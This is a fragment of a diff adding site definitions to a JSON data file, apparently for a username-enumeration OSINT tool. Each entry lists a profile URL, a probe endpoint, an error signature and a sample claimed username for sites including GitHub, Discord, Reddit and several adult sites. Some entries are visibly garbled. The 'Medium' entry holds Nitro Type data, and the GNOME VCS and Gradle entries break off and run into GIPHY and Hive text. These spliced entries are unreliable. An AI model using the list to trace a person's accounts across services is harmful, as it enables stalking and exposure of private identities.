"urlMain": "https://cults3d.com/en", + "username_claimed": "brown" + }, + "CyberDefenders": { + "errorType": "status_code", + "regexCheck": "^[^\\/:*?\"<>|@]{3,50}$", + "request_method": "GET", + "url": "https://cyberdefenders.org/p/{}", + "urlMain": "https://cyberdefenders.org/", + "username_claimed": "mlohn" + }, + "DEV Community": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "url": "https://dev.to/{}", + "urlMain": "https://dev.to/", + "username_claimed": "blue" + }, + "DMOJ": { + "errorMsg": "No such user", + "errorType": "message", + "url": "https://dmoj.ca/user/{}", + "urlMain": "https://dmoj.ca/", + "username_claimed": "junferno" + }, + "DailyMotion": { + "errorType": "status_code", + "url": "https://www.dailymotion.com/{}", + "urlMain": "https://www.dailymotion.com/", + "username_claimed": "blue" + }, + "dcinside": { + "errorType": "status_code", + "url": "https://gallog.dcinside.com/{}", + "urlMain": "https://www.dcinside.com/", + "username_claimed": "anrbrb" + }, + "Dealabs": { + "errorMsg": "La page que vous essayez", + "errorType": "message", + "regexCheck": "[a-z0-9]{4,16}", + "url": "https://www.dealabs.com/profile/{}", + "urlMain": "https://www.dealabs.com/", + "username_claimed": "blue" + }, + "DeviantArt": { + "errorType": "message", + "errorMsg": "Llama Not Found", + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "url": "https://www.deviantart.com/{}", + "urlMain": "https://www.deviantart.com/", + "username_claimed": "blue" + }, + "DigitalSpy": { + "errorMsg": "The page you were looking for could not be found.", + "errorType": "message", + "url": "https://forums.digitalspy.com/profile/{}", + "urlMain": "https://forums.digitalspy.com/", + "username_claimed": "blue", + "regexCheck": "^\\w{3,20}$" + }, + "Discogs": { + "errorType": "status_code", + "url": "https://www.discogs.com/user/{}", + "urlMain": "https://www.discogs.com/", + "username_claimed": "blue" + }, + "Discord": { + "errorType": "message", + "url": "https://discord.com", + "urlMain": "https://discord.com/", + "urlProbe": "https://discord.com/api/v9/unique-username/username-attempt-unauthed", + "errorMsg": ["{\"taken\":false}", "The resource is being rate limited"], + "request_method": "POST", + "request_payload": { + "username": "{}" + }, + "headers": { + "Content-Type": "application/json" + }, + "username_claimed": "blue" + }, + "Discord.bio": { + "errorType": "message", + "errorMsg": "Server Error (500)", + "url": "https://discords.com/api-v2/bio/details/{}", + "urlMain": "https://discord.bio/", + "username_claimed": "robert" + }, + "Discuss.Elastic.co": { + "errorType": "status_code", + "url": "https://discuss.elastic.co/u/{}", + "urlMain": "https://discuss.elastic.co/", + "username_claimed": "blue" + }, + "Diskusjon.no": { + "errorMsg": "{\"result\":\"ok\"}", + "errorType": "message", + "regexCheck": "^[a-zA-Z0-9_.-]{3,40}$", + "urlProbe": "https://www.diskusjon.no/?app=core&module=system&controller=ajax&do=usernameExists&input={}", + "url": "https://www.diskusjon.no", + "urlMain": "https://www.diskusjon.no", + "username_claimed": "blue" + }, + "Disqus": { + "errorType": "status_code", + "url": "https://disqus.com/{}", + "urlMain": "https://disqus.com/", + "username_claimed": "blue" + }, + "Docker Hub": { + "errorType": "status_code", + "url": "https://hub.docker.com/u/{}/", + "urlMain": "https://hub.docker.com/", + "urlProbe": "https://hub.docker.com/v2/users/{}/", + "username_claimed": "blue" + }, + "Dribbble": { + "errorMsg": "Whoops, that page is gone.", + "errorType": "message", + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "url": "https://dribbble.com/{}", + "urlMain": "https://dribbble.com/", + "username_claimed": "blue" + }, + "Duolingo": { + "errorMsg": "{\"users\":[]}", + "errorType": "message", + "url": "https://www.duolingo.com/profile/{}", + "urlMain": "https://duolingo.com/", + "urlProbe": "https://www.duolingo.com/2017-06-30/users?username={}", + "username_claimed": "blue" + }, + "Eintracht Frankfurt Forum": { + "errorType": "status_code", + "regexCheck": "^[^.]*?$", + "url": "https://community.eintracht.de/fans/{}", + "urlMain": "https://community.eintracht.de/", + "username_claimed": "mmammu" + }, + "Empretienda AR": { + "__comment__": "Note that Error Connecting responses may be indicative of unclaimed handles", + "errorType": "status_code", + "url": "https://{}.empretienda.com.ar", + "urlMain": "https://empretienda.com", + "username_claimed": "camalote" + }, + "Envato Forum": { + "errorType": "status_code", + "url": "https://forums.envato.com/u/{}", + "urlMain": "https://forums.envato.com/", + "username_claimed": "enabled" + }, + "Erome": { + "errorType": "status_code", + "isNSFW": true, + "url": "https://www.erome.com/{}", + "urlMain": "https://www.erome.com/", + "username_claimed": "bob" + }, + "Exposure": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9-]{1,63}$", + "url": "https://{}.exposure.co/", + "urlMain": "https://exposure.co/", + "username_claimed": "jonasjacobsson" + }, + "exophase": { + "errorType": "status_code", + "url": "https://www.exophase.com/user/{}/", + "urlMain": "https://www.exophase.com/", + "username_claimed": "blue" + }, + "EyeEm": { + "errorType": "status_code", + "url": "https://www.eyeem.com/u/{}", + "urlMain": "https://www.eyeem.com/", + "username_claimed": "blue" + }, + "F3.cool": { + "errorType": "status_code", + "url": "https://f3.cool/{}/", + "urlMain": "https://f3.cool/", + "username_claimed": "blue" + }, + "Fameswap": { + "errorType": "status_code", + "url": "https://fameswap.com/user/{}", + "urlMain": "https://fameswap.com/", + "username_claimed": "fameswap" + }, + "Fandom": { + "errorType": "status_code", + "url": "https://www.fandom.com/u/{}", + "urlMain": "https://www.fandom.com/", + "username_claimed": "Jungypoo" + }, + "Fanpop": { + "errorType": "response_url", + "errorUrl": "https://www.fanpop.com/", + "url": "https://www.fanpop.com/fans/{}", + "urlMain": "https://www.fanpop.com/", + "username_claimed": "blue" + }, + "Finanzfrage": { + "errorType": "status_code", + "url": "https://www.finanzfrage.net/nutzer/{}", + "urlMain": "https://www.finanzfrage.net/", + "username_claimed": "finanzfrage" + }, + "Flickr": { + "errorType": "status_code", + "url": "https://www.flickr.com/people/{}", + "urlMain": "https://www.flickr.com/", + "username_claimed": "blue" + }, + "Flightradar24": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9_]{3,20}$", + "url": "https://my.flightradar24.com/{}", + "urlMain": "https://www.flightradar24.com/", + "username_claimed": "jebbrooks" + }, + "Flipboard": { + "errorType": "status_code", + "regexCheck": "^([a-zA-Z0-9_]){1,15}$", + "url": "https://flipboard.com/@{}", + "urlMain": "https://flipboard.com/", + "username_claimed": "blue" + }, + "Football": { + "errorMsg": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441 \u0442\u0430\u043a\u0438\u043c \u0438\u043c\u0435\u043d\u0435\u043c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d", + "errorType": "message", + "url": "https://www.rusfootball.info/user/{}/", + "urlMain": "https://www.rusfootball.info/", + "username_claimed": "solo87" + }, + "FortniteTracker": { + "errorType": "status_code", + "url": "https://fortnitetracker.com/profile/all/{}", + "urlMain": "https://fortnitetracker.com/challenges", + "username_claimed": "blue" + }, + "Forum Ophilia": { + "errorMsg": "that user does not exist", + "errorType": "message", + "isNSFW": true, + "url": "https://www.forumophilia.com/profile.php?mode=viewprofile&u={}", + "urlMain": "https://www.forumophilia.com/", + "username_claimed": "bob" + }, + "Fosstodon": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9_]{1,30}$", + "url": "https://fosstodon.org/@{}", + "urlMain": "https://fosstodon.org/", + "username_claimed": "blue" + }, + "Framapiaf": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9_]{1,30}$", + "url": "https://framapiaf.org/@{}", + "urlMain": "https://framapiaf.org", + "username_claimed": "pylapp" + }, + "Freelancer": { + "errorMsg": "\"users\":{}", + "errorType": "message", + "url": "https://www.freelancer.com/u/{}", + "urlMain": "https://www.freelancer.com/", + "urlProbe": "https://www.freelancer.com/api/users/0.1/users?usernames%5B%5D={}&compact=true", + "username_claimed": "red0xff" + }, + "Freesound": { + "errorType": "status_code", + "url": "https://freesound.org/people/{}/", + "urlMain": "https://freesound.org/", + "username_claimed": "blue" + }, + "GNOME VCS": { + "errorType": "response_url", + "errorUrl": "https://gitlab.gnome.org/{}", + "regexCheck": "^(?!-)[a-zA-Z0-9_.-]{2,255}(? GIFs - Find & Share on GIPHY", + "url": "https://giphy.com/{}", + "urlMain": "https://giphy.com/", + "username_claimed": "red" + }, + "GitBook": { + "errorType": "status_code", + "regexCheck": "^[\\w@-]+?$", + "url": "https://{}.gitbook.io/", + "urlMain": "https://gitbook.com/", + "username_claimed": "gitbook" + }, + "GitHub": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9](?:[a-zA-Z0-9]|-(?=[a-zA-Z0-9])){0,38}$", + "url": "https://www.github.com/{}", + "urlMain": "https://www.github.com/", + "username_claimed": "blue" + }, + "Warframe Market": { + "errorType": "status_code", + "request_method": "GET", + "url": "https://warframe.market/profile/{}", + "urlMain": "https://warframe.market/", + "urlProbe": "https://api.warframe.market/v2/user/{}", + "username_claimed": "kaiallalone" + }, + "GitLab": { + "errorMsg": "[]", + "errorType": "message", + "url": "https://gitlab.com/{}", + "urlMain": "https://gitlab.com/", + "urlProbe": "https://gitlab.com/api/v4/users?username={}", + "username_claimed": "blue" + }, + "Gitea": { + "errorType": "status_code", + "url": "https://gitea.com/{}", + "urlMain": "https://gitea.com/", + "username_claimed": "xorm" + }, + "Gitee": { + "errorType": "status_code", + "url": "https://gitee.com/{}", + "urlMain": "https://gitee.com/", + "username_claimed": "wizzer" + }, + "GoodReads": { + "errorType": "status_code", + "url": "https://www.goodreads.com/{}", + "urlMain": "https://www.goodreads.com/", + "username_claimed": "blue" + }, + "Google Play": { + "errorMsg": "the requested URL was not found on this server", + "errorType": "message", + "url": "https://play.google.com/store/apps/developer?id={}", + "urlMain": "https://play.google.com", + "username_claimed": "GitHub" + }, + "Gradle": { + "errorType": "status_code", + "regexCheck": "^(?!-)[a-zA-Z0-9-]{3,}(?User Not Found - Hive", + "errorType": "message", + "url": "https://hive.blog/@{}", + "urlMain": "https://hive.blog/", + "username_claimed": "mango-juice" + }, + "Holopin": { + "errorMsg": "true", + "errorType": "message", + "request_method": "POST", + "request_payload": { + "username": "{}" + }, + "url": "https://holopin.io/@{}", + "urlMain": "https://holopin.io", + "urlProbe": "https://www.holopin.io/api/auth/username", + "username_claimed": "red" + }, + "Houzz": { + "errorType": "status_code", + "url": "https://houzz.com/user/{}", + "urlMain": "https://houzz.com/", + "username_claimed": "blue" + }, + "HubPages": { + "errorType": "status_code", + "url": "https://hubpages.com/@{}", + "urlMain": "https://hubpages.com/", + "username_claimed": "blue" + }, + "Hubski": { + "errorMsg": "No such user", + "errorType": "message", + "url": "https://hubski.com/user/{}", + "urlMain": "https://hubski.com/", + "username_claimed": "blue" + }, + "HudsonRock": { + "errorMsg": "This username is not associated", + "errorType": "message", + "url": "https://cavalier.hudsonrock.com/api/json/v2/osint-tools/search-by-username?username={}", + "urlMain": "https://hudsonrock.com", + "username_claimed": "testadmin" + }, + "Hugging Face": { + "errorType": "status_code", + "url": "https://huggingface.co/{}", + "urlMain": "https://huggingface.co/", + "username_claimed": "Pasanlaksitha" + }, + "IFTTT": { + "errorType": "status_code", + "regexCheck": "^[A-Za-z0-9]{3,35}$", + "url": "https://www.ifttt.com/p/{}", + "urlMain": "https://www.ifttt.com/", + "username_claimed": "blue" + }, + "Ifunny": { + "errorType": "status_code", + "url": "https://ifunny.co/user/{}", + "urlMain": "https://ifunny.co/", + "username_claimed": "agua" + }, + "IRC-Galleria": { + "errorType": "response_url", + "errorUrl": "https://irc-galleria.net/users/search?username={}", + "url": "https://irc-galleria.net/user/{}", + "urlMain": "https://irc-galleria.net/", + "username_claimed": "appas" + }, + "Icons8 Community": { + "errorType": "status_code", + "url": "https://community.icons8.com/u/{}/summary", + "urlMain": "https://community.icons8.com/", + "username_claimed": "thefourCraft" + }, + "Image Fap": { + "errorMsg": "Not found", + "errorType": "message", + "isNSFW": true, + "url": "https://www.imagefap.com/profile/{}", + "urlMain": "https://www.imagefap.com/", + "username_claimed": "blue" + }, + "ImgUp.cz": { + "errorType": "status_code", + "url": "https://imgup.cz/{}", + "urlMain": "https://imgup.cz/", + "username_claimed": "adam" + }, + "Imgur": { + "errorType": "status_code", + "url": "https://imgur.com/user/{}", + "urlMain": "https://imgur.com/", + "urlProbe": "https://api.imgur.com/account/v1/accounts/{}?client_id=546c25a59c58ad7", + "username_claimed": "blue" + }, + "imood": { + "errorType": "status_code", + "url": "https://www.imood.com/users/{}", + "urlMain": "https://www.imood.com/", + "username_claimed": "blue" + }, + "Instagram": { + "errorType": "status_code", + "url": "https://instagram.com/{}", + "urlMain": "https://instagram.com/", + "urlProbe": "https://imginn.com/{}", + "username_claimed": "instagram" + }, + "Instapaper": { + "errorType": "status_code", + "request_method": "GET", + "url": "https://www.instapaper.com/p/{}", + "urlMain": "https://www.instapaper.com/", + "username_claimed": "john" + }, + "Instructables": { + "errorType": "status_code", + "url": "https://www.instructables.com/member/{}", + "urlMain": "https://www.instructables.com/", + "urlProbe": "https://www.instructables.com/json-api/showAuthorExists?screenName={}", + "username_claimed": "blue" + }, + "Intigriti": { + "errorType": "status_code", + "regexCheck": "[a-z0-9_]{1,25}", + "request_method": "GET", + "url": "https://app.intigriti.com/profile/{}", + "urlMain": "https://app.intigriti.com", + "urlProbe": "https://api.intigriti.com/user/public/profile/{}", + "username_claimed": "blue" + }, + "Ionic Forum": { + "errorType": "status_code", + "url": "https://forum.ionicframework.com/u/{}", + "urlMain": "https://forum.ionicframework.com/", + "username_claimed": "theblue222" + }, + "Issuu": { + "errorType": "status_code", + "url": "https://issuu.com/{}", + "urlMain": "https://issuu.com/", + "username_claimed": "jenny" + }, + "Itch.io": { + "errorType": "status_code", + "regexCheck": "^[\\w@-]+?$", + "url": "https://{}.itch.io/", + "urlMain": "https://itch.io/", + "username_claimed": "blue" + }, + "Itemfix": { + "errorMsg": "ItemFix - Channel: ", + "errorType": "message", + "url": "https://www.itemfix.com/c/{}", + "urlMain": "https://www.itemfix.com/", + "username_claimed": "blue" + }, + "Jellyfin Weblate": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9@._-]{1,150}$", + "url": "https://translate.jellyfin.org/user/{}/", + "urlMain": "https://translate.jellyfin.org/", + "username_claimed": "EraYaN" + }, + "Jimdo": { + "errorType": "status_code", + "regexCheck": "^[\\w@-]+?$", + "url": "https://{}.jimdosite.com", + "urlMain": "https://jimdosite.com/", + "username_claimed": "jenny" + }, + "Joplin Forum": { + "errorType": "status_code", + "url": "https://discourse.joplinapp.org/u/{}", + "urlMain": "https://discourse.joplinapp.org/", + "username_claimed": "laurent" + }, + "Jupyter Community Forum": { + "errorMsg": "Oops! That page doesn’t exist or is private.", + "errorType": "message", + "url": "https://discourse.jupyter.org/u/{}/summary", + "urlMain": "https://discourse.jupyter.org", + "username_claimed": "choldgraf" + }, + "Kaggle": { + "errorType": "status_code", + "url": "https://www.kaggle.com/{}", + "urlMain": "https://www.kaggle.com/", + "username_claimed": "dansbecker" + }, + "kaskus": { + "errorType": "status_code", + "url": "https://www.kaskus.co.id/@{}", + "urlMain": "https://www.kaskus.co.id", + "urlProbe": "https://www.kaskus.co.id/api/users?username={}", + "request_method": "GET", + "username_claimed": "l0mbart" + }, + "Keybase": { + "errorType": "status_code", + "url": "https://keybase.io/{}", + "urlMain": "https://keybase.io/", + "username_claimed": "blue" + }, + "Kick": { + "__comment__": "Cloudflare. Only viable when proxied.", + "errorType": "status_code", + "url": "https://kick.com/{}", + "urlMain": "https://kick.com/", + "urlProbe": "https://kick.com/api/v2/channels/{}", + "username_claimed": "blue" + }, + "Kik": { + "errorMsg": "The page you requested was not found", + "errorType": "message", + "url": "https://kik.me/{}", + "urlMain": "http://kik.me/", + "urlProbe": "https://ws2.kik.com/user/{}", + "username_claimed": "blue" + }, + "Kongregate": { + "errorType": "status_code", + "headers": { + "Accept": "text/html" + }, + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "url": "https://www.kongregate.com/accounts/{}", + "urlMain": "https://www.kongregate.com/", + "username_claimed": "blue" + }, + "Kvinneguiden": { + "errorMsg": "{\"result\":\"ok\"}", + "errorType": "message", + "regexCheck": "^[a-zA-Z0-9_.-]{3,18}$", + "urlProbe": "https://forum.kvinneguiden.no/?app=core&module=system&controller=ajax&do=usernameExists&input={}", + "url": "https://forum.kvinneguiden.no", + "urlMain": "https://forum.kvinneguiden.no", + "username_claimed": "blue" + }, + "LOR": { + "errorType": "status_code", + "url": "https://www.linux.org.ru/people/{}/profile", + "urlMain": "https://linux.org.ru/", + "username_claimed": "red" + }, + "Laracast": { + "errorType": "status_code", + "url": "https://laracasts.com/@{}", + "urlMain": "https://laracasts.com/", + "regexCheck": "^[a-zA-Z0-9_-]{3,}$", + "username_claimed": "user1" + }, + "Launchpad": { + "errorType": "status_code", + "url": "https://launchpad.net/~{}", + "urlMain": "https://launchpad.net/", + "username_claimed": "blue" + }, + "LeetCode": { + "errorType": "status_code", + "url": "https://leetcode.com/{}", + "urlMain": "https://leetcode.com/", + "username_claimed": "blue" + }, + "LemmyWorld": { + "errorType": "message", + "errorMsg": "

    Error!

    ", + "url": "https://lemmy.world/u/{}", + "urlMain": "https://lemmy.world", + "username_claimed": "blue" + }, + "LessWrong": { + "url": "https://www.lesswrong.com/users/{}", + "urlMain": "https://www.lesswrong.com/", + "errorType": "response_url", + "errorUrl": "https://www.lesswrong.com/", + "username_claimed": "habryka" + }, + "Letterboxd": { + "errorMsg": "Sorry, we can\u2019t find the page you\u2019ve requested.", + "errorType": "message", + "url": "https://letterboxd.com/{}", + "urlMain": "https://letterboxd.com/", + "username_claimed": "blue" + }, + "LibraryThing": { + "errorMsg": "

    Error: This user doesn't exist

    ", + "errorType": "message", + "headers": { + "Cookie": "LTAnonSessionID=3159599315; LTUnifiedCookie=%7B%22areyouhuman%22%3A1%7D; " + }, + "url": "https://www.librarything.com/profile/{}", + "urlMain": "https://www.librarything.com/", + "username_claimed": "blue" + }, + "Lichess": { + "errorType": "status_code", + "url": "https://lichess.org/@/{}", + "urlMain": "https://lichess.org", + "username_claimed": "john" + }, + "LinkedIn": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9]{3,100}$", + "request_method": "GET", + "url": "https://linkedin.com/in/{}", + "urlMain": "https://linkedin.com", + "username_claimed": "paulpfeister" + }, + "Linktree": { + "errorMsg": "\"statusCode\":404", + "errorType": "message", + "regexCheck": "^[\\w\\.]{2,30}$", + "url": "https://linktr.ee/{}", + "urlMain": "https://linktr.ee/", + "username_claimed": "anne" + }, + "LinuxFR.org": { + "errorType": "status_code", + "url": "https://linuxfr.org/users/{}", + "urlMain": "https://linuxfr.org/", + "username_claimed": "pylapp" + }, + "Listed": { + "errorType": "response_url", + "errorUrl": "https://listed.to/@{}", + "url": "https://listed.to/@{}", + "urlMain": "https://listed.to/", + "username_claimed": "listed" + }, + "LiveJournal": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "url": "https://{}.livejournal.com", + "urlMain": "https://www.livejournal.com/", + "username_claimed": "blue" + }, + "Lobsters": { + "errorType": "status_code", + "regexCheck": "[A-Za-z0-9][A-Za-z0-9_-]{0,24}", + "url": "https://lobste.rs/u/{}", + "urlMain": "https://lobste.rs/", + "username_claimed": "jcs" + }, + "LottieFiles": { + "errorType": "status_code", + "url": "https://lottiefiles.com/{}", + "urlMain": "https://lottiefiles.com/", + "username_claimed": "lottiefiles" + }, + "LushStories": { + "errorType": "status_code", + "isNSFW": true, + "url": "https://www.lushstories.com/profile/{}", + "urlMain": "https://www.lushstories.com/", + "username_claimed": "chris_brown" + }, + "MMORPG Forum": { + "errorType": "status_code", + "url": "https://forums.mmorpg.com/profile/{}", + "urlMain": "https://forums.mmorpg.com/", + "username_claimed": "goku" + }, + "Mamot": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9_]{1,30}$", + "url": "https://mamot.fr/@{}", + "urlMain": "https://mamot.fr/", + "username_claimed": "anciensEnssat" + }, + "Medium": { + "errorMsg": "Nitro Type | Competitive Typing Game | Race Your Friends", + "errorType": "message", + "url": "https://www.nitrotype.com/racer/{}", + "urlMain": "https://www.nitrotype.com/", + "username_claimed": "jianclash" + }, + "NotABug.org": { + "errorType": "status_code", + "url": "https://notabug.org/{}", + "urlMain": "https://notabug.org/", + "urlProbe": "https://notabug.org/{}/followers", + "username_claimed": "red" + }, + "Nothing Community": { + "errorType": "status_code", + "url": "https://nothing.community/u/{}", + "urlMain": "https://nothing.community/", + "username_claimed": "Carl" + }, + "Nyaa.si": { + "errorType": "status_code", + "url": "https://nyaa.si/user/{}", + "urlMain": "https://nyaa.si/", + "username_claimed": "blue" + }, + "ObservableHQ": { + "errorType": "message", + "errorMsg": "Page not found", + "url": "https://observablehq.com/@{}", + "urlMain": "https://observablehq.com/", + "username_claimed": "mbostock" + }, + "Open Collective": { + "errorType": "status_code", + "url": "https://opencollective.com/{}", + "urlMain": "https://opencollective.com/", + "username_claimed": "sindresorhus" + }, + "OpenGameArt": { + "errorType": "status_code", + "url": "https://opengameart.org/users/{}", + "urlMain": "https://opengameart.org", + "username_claimed": "ski" + }, + "OpenStreetMap": { + "errorType": "status_code", + "regexCheck": "^[^.]*?$", + "url": "https://www.openstreetmap.org/user/{}", + "urlMain": "https://www.openstreetmap.org/", + "username_claimed": "blue" + }, + "Odysee": { + "errorMsg": "", + "errorType": "message", + "url": "https://odysee.com/@{}", + "urlMain": "https://odysee.com/", + "username_claimed": "Odysee" + }, + "Opensource": { + "errorType": "status_code", + "url": "https://opensource.com/users/{}", + "urlMain": "https://opensource.com/", + "username_claimed": "red" + }, + "OurDJTalk": { + "errorMsg": "The specified member cannot be found", + "errorType": "message", + "url": "https://ourdjtalk.com/members?username={}", + "urlMain": "https://ourdjtalk.com/", + "username_claimed": "steve" + }, + "Outgress": { + "errorMsg": "Outgress - Error", + "errorType": "message", + "url": "https://outgress.com/agents/{}", + "urlMain": "https://outgress.com/", + "username_claimed": "pylapp" + }, + "PCGamer": { + "errorMsg": "The specified member cannot be found. Please enter a member's entire name.", + "errorType": "message", + "url": "https://forums.pcgamer.com/members/?username={}", + "urlMain": "https://pcgamer.com", + "username_claimed": "admin" + }, + "PSNProfiles.com": { + "errorType": "response_url", + "errorUrl": "https://psnprofiles.com/?psnId={}", + "url": "https://psnprofiles.com/{}", + "urlMain": "https://psnprofiles.com/", + "username_claimed": "blue" + }, + "Packagist": { + "errorType": "response_url", + "errorUrl": "https://packagist.org/search/?q={}&reason=vendor_not_found", + "url": "https://packagist.org/packages/{}/", + "urlMain": "https://packagist.org/", + "username_claimed": "psr" + }, + "Pastebin": { + "errorMsg": "Not Found (#404)", + "errorType": "message", + "url": "https://pastebin.com/u/{}", + "urlMain": "https://pastebin.com/", + "username_claimed": "blue" + }, + "Patched": { + "errorMsg": "The member you specified is either invalid or doesn't exist.", + "errorType": "message", + "url": "https://patched.sh/User/{}", + "urlMain": "https://patched.sh/", + "username_claimed": "blue" + }, + "Patreon": { + "errorType": "status_code", + "url": "https://www.patreon.com/{}", + "urlMain": "https://www.patreon.com/", + "username_claimed": "blue" + }, + "PentesterLab": { + "errorType": "status_code", + "regexCheck": "^[\\w]{4,30}$", + "url": "https://pentesterlab.com/profile/{}", + "urlMain": "https://pentesterlab.com/", + "username_claimed": "0day" + }, + "HotUKdeals": { + "errorType": "status_code", + "url": "https://www.hotukdeals.com/profile/{}", + "urlMain": "https://www.hotukdeals.com/", + "username_claimed": "Blue", + "request_method": "GET" + }, + "Mydealz": { + "errorType": "status_code", + "url": "https://www.mydealz.de/profile/{}", + "urlMain": "https://www.mydealz.de/", + "username_claimed": "blue", + "request_method": "GET" + }, + "Chollometro": { + "errorType": "status_code", + "url": "https://www.chollometro.com/profile/{}", + "urlMain": "https://www.chollometro.com/", + "username_claimed": "blue", + "request_method": "GET" + }, + "PepperNL": { + "errorType": "status_code", + "url": "https://nl.pepper.com/profile/{}", + "urlMain": "https://nl.pepper.com/", + "username_claimed": "Dynaw", + "request_method": "GET" + }, + "PepperPL": { + "errorType": "status_code", + "url": "https://www.pepper.pl/profile/{}", + "urlMain": "https://www.pepper.pl/", + "username_claimed": "FireChicken", + "request_method": "GET" + }, + "Preisjaeger": { + "errorType": "status_code", + "url": "https://www.preisjaeger.at/profile/{}", + "urlMain": "https://www.preisjaeger.at/", + "username_claimed": "Stefan", + "request_method": "GET" + }, + "Pepperdeals": { + "errorType": "status_code", + "url": "https://www.pepperdeals.se/profile/{}", + "urlMain": "https://www.pepperdeals.se/", + "username_claimed": "Mark", + "request_method": "GET" + }, + "PepperealsUS": { + "errorType": "status_code", + "url": "https://www.pepperdeals.com/profile/{}", + "urlMain": "https://www.pepperdeals.com/", + "username_claimed": "Stepan", + "request_method": "GET" + }, + "Promodescuentos": { + "errorType": "status_code", + "url": "https://www.promodescuentos.com/profile/{}", + "urlMain": "https://www.promodescuentos.com/", + "username_claimed": "blue", + "request_method": "GET" + }, + "Periscope": { + "errorType": "status_code", + "url": "https://www.periscope.tv/{}/", + "urlMain": "https://www.periscope.tv/", + "username_claimed": "blue" + }, + "Pinkbike": { + "errorType": "status_code", + "regexCheck": "^[^.]*?$", + "url": "https://www.pinkbike.com/u/{}/", + "urlMain": "https://www.pinkbike.com/", + "username_claimed": "blue" + }, + "pixelfed.social": { + "errorType": "status_code", + "url": "https://pixelfed.social/{}/", + "urlMain": "https://pixelfed.social", + "username_claimed": "pylapp" + }, + "PlayStore": { + "errorType": "status_code", + "url": "https://play.google.com/store/apps/developer?id={}", + "urlMain": "https://play.google.com/store", + "username_claimed": "Facebook" + }, + "Playstrategy": { + "errorType": "status_code", + "url": "https://playstrategy.org/@/{}", + "urlMain": "https://playstrategy.org", + "username_claimed": "oruro" + }, + "Plurk": { + "errorMsg": "User Not Found!", + "errorType": "message", + "url": "https://www.plurk.com/{}", + "urlMain": "https://www.plurk.com/", + "username_claimed": "plurkoffice" + }, + "PocketStars": { + "errorMsg": "Join Your Favorite Adult Stars", + "errorType": "message", + "isNSFW": true, + "url": "https://pocketstars.com/{}", + "urlMain": "https://pocketstars.com/", + "username_claimed": "hacker" + }, + "Pokemon Showdown": { + "errorType": "status_code", + "url": "https://pokemonshowdown.com/users/{}", + "urlMain": "https://pokemonshowdown.com", + "username_claimed": "blue" + }, + "Polarsteps": { + "errorType": "status_code", + "url": "https://polarsteps.com/{}", + "urlMain": "https://polarsteps.com/", + "urlProbe": "https://api.polarsteps.com/users/byusername/{}", + "username_claimed": "james" + }, + "Polygon": { + "errorType": "status_code", + "url": "https://www.polygon.com/users/{}", + "urlMain": "https://www.polygon.com/", + "username_claimed": "swiftstickler" + }, + "Polymart": { + "errorType": "response_url", + "errorUrl": "https://polymart.org/user/-1", + "url": "https://polymart.org/user/{}", + "urlMain": "https://polymart.org/", + "username_claimed": "craciu25yt" + }, + "Pornhub": { + "errorType": "status_code", + "isNSFW": true, + "url": "https://pornhub.com/users/{}", + "urlMain": "https://pornhub.com/", + "username_claimed": "blue" + }, + "ProductHunt": { + "errorType": "status_code", + "url": "https://www.producthunt.com/@{}", + "urlMain": "https://www.producthunt.com/", + "username_claimed": "jenny" + }, + "programming.dev": { + "errorMsg": "Error!", + "errorType": "message", + "url": "https://programming.dev/u/{}", + "urlMain": "https://programming.dev", + "username_claimed": "pylapp" + }, + "Pychess": { + "errorType": "message", + "errorMsg": "404", + "url": "https://www.pychess.org/@/{}", + "urlMain": "https://www.pychess.org", + "username_claimed": "gbtami" + }, + "PromoDJ": { + "errorType": "status_code", + "url": "http://promodj.com/{}", + "urlMain": "http://promodj.com/", + "username_claimed": "blue" + }, + "Pronouns.page": { + "errorType": "status_code", + "url": "https://pronouns.page/@{}", + "urlMain": "https://pronouns.page/", + "username_claimed": "andrea" + }, + "PyPi": { + "errorType": "status_code", + "url": "https://pypi.org/user/{}", + "urlProbe": "https://pypi.org/_includes/administer-user-include/{}", + "urlMain": "https://pypi.org", + "username_claimed": "Blue" + }, + "Python.org Discussions": { + "errorMsg": "Oops! That page doesn’t exist or is private.", + "errorType": "message", + "url": "https://discuss.python.org/u/{}/summary", + "urlMain": "https://discuss.python.org", + "username_claimed": "pablogsal" + }, + "Rajce.net": { + "errorType": "status_code", + "regexCheck": "^[\\w@-]+?$", + "url": "https://{}.rajce.idnes.cz/", + "urlMain": "https://www.rajce.idnes.cz/", + "username_claimed": "blue" + }, + "Rarible": { + "errorType": "status_code", + "url": "https://rarible.com/marketplace/api/v4/urls/{}", + "urlMain": "https://rarible.com/", + "username_claimed": "blue" + }, + "Rate Your Music": { + "errorType": "status_code", + "url": "https://rateyourmusic.com/~{}", + "urlMain": "https://rateyourmusic.com/", + "username_claimed": "blue" + }, + "Rclone Forum": { + "errorType": "status_code", + "url": "https://forum.rclone.org/u/{}", + "urlMain": "https://forum.rclone.org/", + "username_claimed": "ncw" + }, + "RedTube": { + "errorType": "status_code", + "isNSFW": true, + "url": "https://www.redtube.com/users/{}", + "urlMain": "https://www.redtube.com/", + "username_claimed": "hacker" + }, + "Redbubble": { + "errorType": "status_code", + "url": "https://www.redbubble.com/people/{}", + "urlMain": "https://www.redbubble.com/", + "username_claimed": "blue" + }, + "Reddit": { + "errorMsg": "Sorry, nobody on Reddit goes by that name.", + "errorType": "message", + "headers": { + "accept-language": "en-US,en;q=0.9" + }, + "url": "https://www.reddit.com/user/{}", + "urlMain": "https://www.reddit.com/", + "username_claimed": "blue" + }, + "Realmeye": { + "errorMsg": "Sorry, but we either:", + "errorType": "message", + "url": "https://www.realmeye.com/player/{}", + "urlMain": "https://www.realmeye.com/", + "username_claimed": "rotmg" + }, + "Reisefrage": { + "errorType": "status_code", + "url": 